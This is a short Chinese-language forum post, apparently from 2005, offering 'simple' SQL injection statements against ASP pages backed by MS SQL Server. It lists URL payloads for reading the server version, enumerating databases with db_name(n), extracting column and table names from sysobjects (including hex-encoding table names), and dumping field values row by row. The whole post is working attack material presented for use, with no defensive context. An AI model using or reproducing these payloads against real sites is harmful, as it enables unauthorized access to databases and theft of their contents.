2005-12-19 22:11:45 by: h4x0r

注入的几条简单语句,不用像网上那样复杂

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一、版本
url/1.asp?id=1 and @@VERSION>0
二、跨库
url/1.asp?id=1 and 1=(select db_name(n))
n改成0,1,2,3……就可以跨库了,是不是比网上的简单呢?
三、列名
url/1.asp?id=1 and 1=(select col_name(object_id('表名'),n) '表名'可以换成16进制。像bbsuser=0x6200620073007500730065007200(不可以去掉0)
四、表名字段值
select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in ('表名1,表名2'))
字段值:
select top 1 列名 from 表名 where 列名 not in (select top n 列名 from 表名)
n改1,2,3,4就可以得库名、列名

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